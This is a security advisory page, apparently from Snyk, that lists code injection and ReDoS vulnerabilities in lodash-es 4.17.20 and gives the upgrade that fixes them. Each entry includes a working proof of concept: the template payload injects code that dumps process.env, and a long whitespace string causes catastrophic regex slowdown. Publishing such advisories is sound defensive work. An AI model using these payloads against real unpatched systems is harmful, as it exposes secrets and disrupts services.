lodash-es@4.17.20 vulnerabilities

Lodash exported as ES modules.

  • latest version

    4.17.22

  • latest non vulnerable version

  • first published

    10 years ago

  • latest version published

    29 days ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the lodash-es package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Code Injection

    Affected versions of this package are vulnerable to Code Injection via template.

    PoC

    var _ = require('lodash');
    
    _.template('', { variable: '){console.log(process.env)}; with(obj' })()
    

    How to fix Code Injection?

    Upgrade lodash-es to version 4.17.21 or higher.

    <4.17.21
    • M
    Regular Expression Denial of Service (ReDoS)

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

    POC

    var lo = require('lodash');
    
    function build_blank (n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
    ret += " "
    }
    
    return ret + "1";
    }
    
    var s = build_blank(50000)
    var time0 = Date.now();
    lo.trim(s)
    var time_cost0 = Date.now() - time0;
    console.log("time_cost0: " + time_cost0)
    
    var time1 = Date.now();
    lo.toNumber(s)
    var time_cost1 = Date.now() - time1;
    console.log("time_cost1: " + time_cost1)
    
    var time2 = Date.now();
    lo.trimEnd(s)
    var time_cost2 = Date.now() - time2;
    console.log("time_cost2: " + time_cost2)
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade lodash-es to version 4.17.21 or higher.

    <4.17.21